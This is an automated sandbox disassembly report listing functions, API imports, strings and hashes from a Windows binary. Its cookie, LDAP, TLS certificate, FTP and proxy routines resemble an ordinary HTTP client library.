Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 6fcec5ed8170132fa7d27f4e84d0996d8cab90decfbbc05c53f51dd08cce7cd9
Instruction ID: 1dcf13b625d5d70e8ca3bf1d04726e846fb4bb02091d89ffa6d7afa9bf5b2baf
Opcode Fuzzy Hash: 6fcec5ed8170132fa7d27f4e84d0996d8cab90decfbbc05c53f51dd08cce7cd9
Instruction Fuzzy Hash: 75D02B63B18A0483DF20DF75A840029E752B78C774B884339AE7D827F0DF3CD2454600

Function 00007FF79B714C90 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF79B714CA9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: c94a7031483957ba514d176006d7fe961fd69d16ab90eb25bfe450ab854bbbb6
Instruction ID: 6367c0af8f8c07cb1e22788c85e45cadf9a8a8ee21174740be9e2034addd7892
Opcode Fuzzy Hash: c94a7031483957ba514d176006d7fe961fd69d16ab90eb25bfe450ab854bbbb6
Instruction Fuzzy Hash: 8CC08026F14581C2D3447F755485087A773ABC4215FD55436D24742534DD3CC3E58B50

Non-executed Functions

Function 00007FF79B6F8990 Relevance: 105.7, APIs: 41, Strings: 19, Instructions: 738stringCOMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,?,00000000,?,00000000,?,?,00007FF79B6FA1E7), ref: 00007FF79B6F8A00
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F8A1B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F8A54
strchr.VCRUNTIME140 ref: 00007FF79B6F8A67
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F8BE7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F8C08
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F8C2B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F8C38
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F8CD1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F8CDA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F8CF2
strchr.VCRUNTIME140 ref: 00007FF79B6F8EDF
strchr.VCRUNTIME140 ref: 00007FF79B6F8EF9
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F8FEC
strchr.VCRUNTIME140 ref: 00007FF79B6F9018
strrchr.VCRUNTIME140 ref: 00007FF79B6F902A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F904B
memcpy.VCRUNTIME140 ref: 00007FF79B6F9064
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F90D8
strchr.VCRUNTIME140 ref: 00007FF79B6F90FB
strchr.VCRUNTIME140 ref: 00007FF79B6F9110

Strings

localhost, xrefs: 00007FF79B6F8D3F
skipped cookie with bad tailmatch domain: %s, xrefs: 00007FF79B6F8DFE
secure, xrefs: 00007FF79B6F8C5E
path, xrefs: 00007FF79B6F8CBD
#HttpOnly_, xrefs: 00007FF79B6F90CE
__Host-, xrefs: 00007FF79B6F8C01
max-age, xrefs: 00007FF79B6F8E48
version, xrefs: 00007FF79B6F8E1B
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF79B6F9617
Added, xrefs: 00007FF79B6F960D
httponly, xrefs: 00007FF79B6F8C96
oversized cookie dropped, name/val %zu + %zu bytes, xrefs: 00007FF79B6F8F6F
domain, xrefs: 00007FF79B6F8D11
TRUE, xrefs: 00007FF79B6F9147
FALSE, xrefs: 00007FF79B6F914E, 00007FF79B6F934B
expires, xrefs: 00007FF79B6F8E75
Replaced, xrefs: 00007FF79B6F9601
__Secure-, xrefs: 00007FF79B6F8BE0
%4095[^;=] =%4095[^;], xrefs: 00007FF79B6F8AA6

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchr$_strdup$freestrncmp$_time64callocmallocmemcpystrrchr
String ID: #HttpOnly_$%4095[^;=] =%4095[^;]$%s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced$TRUE$__Host-$__Secure-$domain$expires$httponly$localhost$max-age$oversized cookie dropped, name/val %zu + %zu bytes$path$secure$skipped cookie with bad tailmatch domain: %s$version
API String ID: 2059720140-3844637060
Opcode ID: 7c0d23a60b93744acfd05b3892a9ff91a3a92e57e3aab93d37f62f7272c507e2
Instruction ID: e11baee65cec44ef2d88bbfd759689baa437202af1b503771538dc657e9b8974
Opcode Fuzzy Hash: 7c0d23a60b93744acfd05b3892a9ff91a3a92e57e3aab93d37f62f7272c507e2
Instruction Fuzzy Hash: 5872A321A0D74A86FB70AB3D9945379A7A2EF55794F844132CAAE026F5DF3CF644C320

Function 00007FF79B72D220 Relevance: 102.1, APIs: 45, Strings: 13, Instructions: 581COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B705AF0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B705C15
Part of subcall function 00007FF79B705AF0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B705C30

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72D2AE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72D2E2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72D2EC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72D309
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72D31C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72D325
#22.WLDAP32 ref: 00007FF79B72D336
#211.WLDAP32 ref: 00007FF79B72D3D0
#217.WLDAP32 ref: 00007FF79B72D3EC
#211.WLDAP32 ref: 00007FF79B72D405
#211.WLDAP32 ref: 00007FF79B72D417
#60.WLDAP32 ref: 00007FF79B72D447
#211.WLDAP32 ref: 00007FF79B72D562
#60.WLDAP32 ref: 00007FF79B72D587
#22.WLDAP32 ref: 00007FF79B72D62A
#41.WLDAP32 ref: 00007FF79B72DA46
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72DA6E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72DA78
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72DA98
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72DAAB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72DAB4
#46.WLDAP32 ref: 00007FF79B72DAC6

Strings

DN: , xrefs: 00007FF79B72D722
LDAP local: bind via ldap_win_bind %s, xrefs: 00007FF79B72D634
;binary, xrefs: 00007FF79B72D8B0
LDAP remote: %s, xrefs: 00007FF79B72D6A7
encrypted, xrefs: 00007FF79B72D37E
LDAP local: trying to establish %s connection, xrefs: 00007FF79B72D369
LDAP local: Cannot connect to %s:%ld, xrefs: 00007FF79B72D46B
There are more than %d entries, xrefs: 00007FF79B72DA56
LDAP local: %s, xrefs: 00007FF79B72D33C
cleartext, xrefs: 00007FF79B72D35F
LDAP local: %s, xrefs: 00007FF79B72D297
LDAP local: LDAP Vendor = %s ; LDAP Version = %d, xrefs: 00007FF79B72D254
Microsoft Corporation., xrefs: 00007FF79B72D240

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$#211$fwrite$#217calloc
String ID: ;binary$DN: $LDAP local: %s$LDAP local: %s$LDAP local: Cannot connect to %s:%ld$LDAP local: LDAP Vendor = %s ; LDAP Version = %d$LDAP local: bind via ldap_win_bind %s$LDAP local: trying to establish %s connection$LDAP remote: %s$Microsoft Corporation.$There are more than %d entries$cleartext$encrypted
API String ID: 2742731861-78870445
Opcode ID: 8902ead9c02bc733e7016fe6144117ed68cd36cbc7c3d5c06982d80d22379f08
Instruction ID: d9925e4b9a2ed49122cc7fb0dc5d72aecfe18c348312ade4d96c332f5b342a72
Opcode Fuzzy Hash: 8902ead9c02bc733e7016fe6144117ed68cd36cbc7c3d5c06982d80d22379f08
Instruction Fuzzy Hash: 1D426565B0864A86F720AF7A94542B967A1FB4CB98F804633CE0E17774DE3CE645C350

Function 00007FF79B6EABFD Relevance: 74.4, APIs: 37, Strings: 5, Instructions: 930COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EB594
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EB5C2
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EB5D0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EB60A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EB667
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EB720
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EB74E
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EB75C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EB796
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EB7F3

Part of subcall function 00007FF79B6EEFB0: memcmp.VCRUNTIME140 ref: 00007FF79B6EF03D
Part of subcall function 00007FF79B6EEFB0: memcmp.VCRUNTIME140 ref: 00007FF79B6EF0C1

Strings

object separator, xrefs: 00007FF79B6EB500, 00007FF79B6EBD29
number overflow parsing ', xrefs: 00007FF79B6EB80F
array, xrefs: 00007FF79B6EBA09
object key, xrefs: 00007FF79B6EB68C, 00007FF79B6EBEB8
object, xrefs: 00007FF79B6EBB98

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$memcmp
String ID: array$number overflow parsing '$object$object key$object separator
API String ID: 969624648-85532522
Opcode ID: 623aaf1b0571fdbc6ed5cfa9a2dbc8a8409b7c797931c1fe6483345ef50fe88b
Instruction ID: 03cd1e4dcbcdd7139d353dc49e48bd795f9b078270a465188710b5ea76c73aa5
Opcode Fuzzy Hash: 623aaf1b0571fdbc6ed5cfa9a2dbc8a8409b7c797931c1fe6483345ef50fe88b
Instruction Fuzzy Hash: E5928762A18B4985EB20EBBCD4443AD7762FB457A4F801331DA6D07AF9DF79E294C310

Function 00007FF79B735AD0 Relevance: 72.3, APIs: 17, Strings: 24, Instructions: 549encryptionCOMMON

Download Yara Rule

APIs

CertOpenStore.CRYPT32 ref: 00007FF79B735C3F
GetLastError.KERNEL32 ref: 00007FF79B735C52
CertCreateCertificateChainEngine.CRYPT32 ref: 00007FF79B735D04
GetLastError.KERNEL32 ref: 00007FF79B735D0E
CertGetCertificateChain.CRYPT32 ref: 00007FF79B735D9B
GetLastError.KERNEL32 ref: 00007FF79B735DA5
CertGetNameStringA.CRYPT32 ref: 00007FF79B735F13
CertFreeCertificateChainEngine.CRYPT32 ref: 00007FF79B73638B
CertCloseStore.CRYPT32 ref: 00007FF79B7363A0
CertFreeCertificateChain.CRYPT32 ref: 00007FF79B7363B0
CertFreeCertificateContext.CRYPT32 ref: 00007FF79B7363C0

Strings

schannel: failed to create certificate store: %s, xrefs: 00007FF79B735C6C
schannel: CertGetNameString() returned no certificate name information, xrefs: 00007FF79B73605D
schannel: CertGetCertificateChain error mask: 0x%08x, xrefs: 00007FF79B735E7A
schannel: server certificate name verification failed, xrefs: 00007FF79B7362FE
schannel: CertGetCertificateChain trust error CERT_TRUST_REVOCATION_STATUS_UNKNOWN, xrefs: 00007FF79B735E69
schannel: CertGetNameString() returned certificate name information of unexpected size, xrefs: 00007FF79B736253
schannel: Not enough memory to list all host names., xrefs: 00007FF79B73623C
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_NOT_TIME_VALID, xrefs: 00007FF79B735E52
schannel: CryptDecodeObjectEx() returned no alternate name information., xrefs: 00007FF79B735FDE, 00007FF79B736185
2.5.29.17, xrefs: 00007FF79B735F73, 00007FF79B735FA4, 00007FF79B73610F, 00007FF79B73614B
schannel: Null certificate info., xrefs: 00007FF79B735F63, 00007FF79B7360F4
schannel: Failed to read remote certificate context: %s, xrefs: 00007FF79B73633D
schannel: connection hostname (%s) validated against certificate name (%s), xrefs: 00007FF79B7362B9
schannel: CertFindExtension() returned no extension., xrefs: 00007FF79B735F8B, 00007FF79B736127
schannel: failed to create certificate chain engine: %s, xrefs: 00007FF79B735D28
schannel: connection hostname (%s) did not match against certificate name (%s), xrefs: 00007FF79B7362C9
schannel: CertGetNameString() failed to match connection hostname (%s) against server certificate names, xrefs: 00007FF79B736316
schannel: Null certificate context., xrefs: 00007FF79B735F28, 00007FF79B7360D7
schannel: Empty DNS name., xrefs: 00007FF79B73601A, 00007FF79B7361C8
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_REVOKED, xrefs: 00007FF79B735E0D
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_PARTIAL_CHAIN, xrefs: 00007FF79B735E25
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 00007FF79B735C11
schannel: CertGetCertificateChain failed: %s, xrefs: 00007FF79B735DBF
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_UNTRUSTED_ROOT, xrefs: 00007FF79B735E3C

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Cert$Certificate$Chain$ErrorFreeLast$EngineStore$CloseContextCreateNameOpenString
String ID: 2.5.29.17$schannel: CertFindExtension() returned no extension.$schannel: CertGetCertificateChain error mask: 0x%08x$schannel: CertGetCertificateChain failed: %s$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_NOT_TIME_VALID$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_PARTIAL_CHAIN$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_REVOKED$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_UNTRUSTED_ROOT$schannel: CertGetCertificateChain trust error CERT_TRUST_REVOCATION_STATUS_UNKNOWN$schannel: CertGetNameString() failed to match connection hostname (%s) against server certificate names$schannel: CertGetNameString() returned certificate name information of unexpected size$schannel: CertGetNameString() returned no certificate name information$schannel: CryptDecodeObjectEx() returned no alternate name information.$schannel: Empty DNS name.$schannel: Failed to read remote certificate context: %s$schannel: Not enough memory to list all host names.$schannel: Null certificate context.$schannel: Null certificate info.$schannel: connection hostname (%s) did not match against certificate name (%s)$schannel: connection hostname (%s) validated against certificate name (%s)$schannel: failed to create certificate chain engine: %s$schannel: failed to create certificate store: %s$schannel: server certificate name verification failed$schannel: this version of Windows is too old to support certificate verification via CA bundle file.
API String ID: 561913010-2037819326
Opcode ID: aa642634a254af1ffcd2ad2ea0f61ab5314722c02f0035306fbb413ac3b6e6fd
Instruction ID: d9661f3279aafd7c5c841dfb52daa0e6b1817a705a03c83c59f9e21e495d2ddd
Opcode Fuzzy Hash: aa642634a254af1ffcd2ad2ea0f61ab5314722c02f0035306fbb413ac3b6e6fd
Instruction Fuzzy Hash: DC426271A0C64A85E734AB39E4442A9B7A1FB48B94F944337DA5D077B4DF3CE648C720

Function 00007FF79B7249F0 Relevance: 67.0, APIs: 25, Strings: 13, Instructions: 515networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B724AD1
getsockname.WS2_32 ref: 00007FF79B724CCA
WSAGetLastError.WS2_32 ref: 00007FF79B724CD4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72520B

Strings

PORT, xrefs: 00007FF79B725112
%s %s, xrefs: 00007FF79B725119
failed to resolve the address provided to PORT: %s, xrefs: 00007FF79B7251F9
getsockname() failed: %s, xrefs: 00007FF79B724CEE, 00007FF79B724EFE
Failure sending PORT command: %s, xrefs: 00007FF79B72513C
,%d,%d, xrefs: 00007FF79B7250E9
bind(port=%hu) failed: %s, xrefs: 00007FF79B724F35
%s |%d|%s|%hu|, xrefs: 00007FF79B725199
EPRT, xrefs: 00007FF79B725182
bind(port=%hu) on non-local address failed: %s, xrefs: 00007FF79B724E64
bind() failed, we ran out of ports!, xrefs: 00007FF79B724EC6
Failure sending EPRT command: %s, xrefs: 00007FF79B7251BF
socket failure: %s, xrefs: 00007FF79B724DCF, 00007FF79B724FD6

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLastcallocfreegetsockname
String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports!$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$socket failure: %s
API String ID: 2454324209-2383553807
Opcode ID: 10b29650d1a06bd4ec3ec31fc93c34fc74a05537e4d60ad3d080947db4e395c3
Instruction ID: 66bc26210b8cd09b7c82aa170f0712fd8fd86b8599243e69e2aae3eeab39cf16
Opcode Fuzzy Hash: 10b29650d1a06bd4ec3ec31fc93c34fc74a05537e4d60ad3d080947db4e395c3
Instruction Fuzzy Hash: 9C22C861A0C78A81EB70BB3994402BAA761FB49784FC45237DA4E477B9DE7CE744C720

Function 00007FF79B6FF0E0 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 254stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FF146
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FF16D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FF1C8

Strings

sha256//, xrefs: 00007FF79B6FF13C, 00007FF79B6FF28E
-----BEGIN PUBLIC KEY-----, xrefs: 00007FF79B6FF39A
;sha256//, xrefs: 00007FF79B6FF240
-----END PUBLIC KEY-----, xrefs: 00007FF79B6FF3CE
public key hash: sha256//%s, xrefs: 00007FF79B6FF1DE

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemallocstrncmp
String ID: public key hash: sha256//%s$-----END PUBLIC KEY-----$-----BEGIN PUBLIC KEY-----$;sha256//$sha256//
API String ID: 1436789207-471711153
Opcode ID: 123a2d98d960ab42c595b3404186a2c4f6b30392ae679493633638e105c1701b
Instruction ID: d470ee766a8441cf5e1e3334a24937856862d5d340c097697f75d0a4f55ac19d
Opcode Fuzzy Hash: 123a2d98d960ab42c595b3404186a2c4f6b30392ae679493633638e105c1701b
Instruction Fuzzy Hash: A2A18421A0E64A81FA31AB3D9455279E692AF49FD0FC44132DE2E077B5DE3CF645C720

Function 00007FF79B7363F0 Relevance: 52.8, APIs: 17, Strings: 13, Instructions: 253fileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF79B736436

Part of subcall function 00007FF79B6F2640: GetLastError.KERNEL32 ref: 00007FF79B6F265C
Part of subcall function 00007FF79B6F2640: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F2664

CreateFileA.KERNEL32 ref: 00007FF79B736490
GetLastError.KERNEL32 ref: 00007FF79B7364A1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7367DD

Strings

schannel: failed to determine size of CA file '%s': %s, xrefs: 00007FF79B736502
schannel: failed to read from CA file '%s': %s, xrefs: 00007FF79B7366E0
-----END CERTIFICATE-----, xrefs: 00007FF79B736609
schannel: invalid path name for CA file '%s': %s, xrefs: 00007FF79B736450
schannel: CA file '%s' is not correctly formatted, xrefs: 00007FF79B736781
schannel: CA file exceeds max size of %u bytes, xrefs: 00007FF79B736539
schannel: failed to open CA file '%s': %s, xrefs: 00007FF79B7364BB
schannel: failed to add certificate from CA file '%s' to certificate store: %s, xrefs: 00007FF79B736716
schannel: failed to extract certificate from CA file '%s': %s, xrefs: 00007FF79B736765
-----BEGIN CERTIFICATE-----, xrefs: 00007FF79B7365DE
schannel: unexpected content type '%d' when extracting certificate from CA file '%s', xrefs: 00007FF79B736735
schannel: did not add any certificates from CA file '%s', xrefs: 00007FF79B7367A2
schannel: added %d certificate(s) from CA file '%s', xrefs: 00007FF79B7367B3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast$CreateFile_errnofree
String ID: -----END CERTIFICATE-----$-----BEGIN CERTIFICATE-----$schannel: CA file '%s' is not correctly formatted$schannel: CA file exceeds max size of %u bytes$schannel: added %d certificate(s) from CA file '%s'$schannel: did not add any certificates from CA file '%s'$schannel: failed to add certificate from CA file '%s' to certificate store: %s$schannel: failed to determine size of CA file '%s': %s$schannel: failed to extract certificate from CA file '%s': %s$schannel: failed to open CA file '%s': %s$schannel: failed to read from CA file '%s': %s$schannel: invalid path name for CA file '%s': %s$schannel: unexpected content type '%d' when extracting certificate from CA file '%s'
API String ID: 1377488173-902404565
Opcode ID: 5f69d122047e2c93b312fbddcd9ba13982a2583ee777278e12dd14ed1ca70259
Instruction ID: 797e32dd912a1065c6d19f71068cf1eae86e253ef44bcede3313e077e9713577
Opcode Fuzzy Hash: 5f69d122047e2c93b312fbddcd9ba13982a2583ee777278e12dd14ed1ca70259
Instruction Fuzzy Hash: BCB19561B1C74982E734AB79E4446A9A7A2BB4D794FC00237DD8D47BB8DE7CE7048720

Function 00007FF79B703330 Relevance: 51.2, APIs: 21, Strings: 8, Instructions: 401stringCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF79B70338A
memset.VCRUNTIME140 ref: 00007FF79B70339F
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B7033BB
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B7033E2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703459
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B70348C
strchr.VCRUNTIME140 ref: 00007FF79B703576
strchr.VCRUNTIME140 ref: 00007FF79B7035BB
strchr.VCRUNTIME140 ref: 00007FF79B7035EB
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703693

Part of subcall function 00007FF79B71BF40: realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BF68
Part of subcall function 00007FF79B71BF40: GetEnvironmentVariableA.KERNEL32(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BF8E
Part of subcall function 00007FF79B71BF40: realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BFAF
Part of subcall function 00007FF79B71BF40: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7004B9,?,?,?,?,00007FF79B6FF85B), ref: 00007FF79B71BFC0

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703766
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703795
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7037BB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7037E7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7037F5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703807
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7039AA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7039B3

Strings

memory shortage, xrefs: 00007FF79B703467
NO_PROXY, xrefs: 00007FF79B7034CD
http_proxy, xrefs: 00007FF79B7036DD
Uses proxy env variable %s == '%s', xrefs: 00007FF79B7034EC, 00007FF79B70374A
ALL_PROXY, xrefs: 00007FF79B703730
no_proxy, xrefs: 00007FF79B7034B1
_proxy, xrefs: 00007FF79B7036A9
all_proxy, xrefs: 00007FF79B703719

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

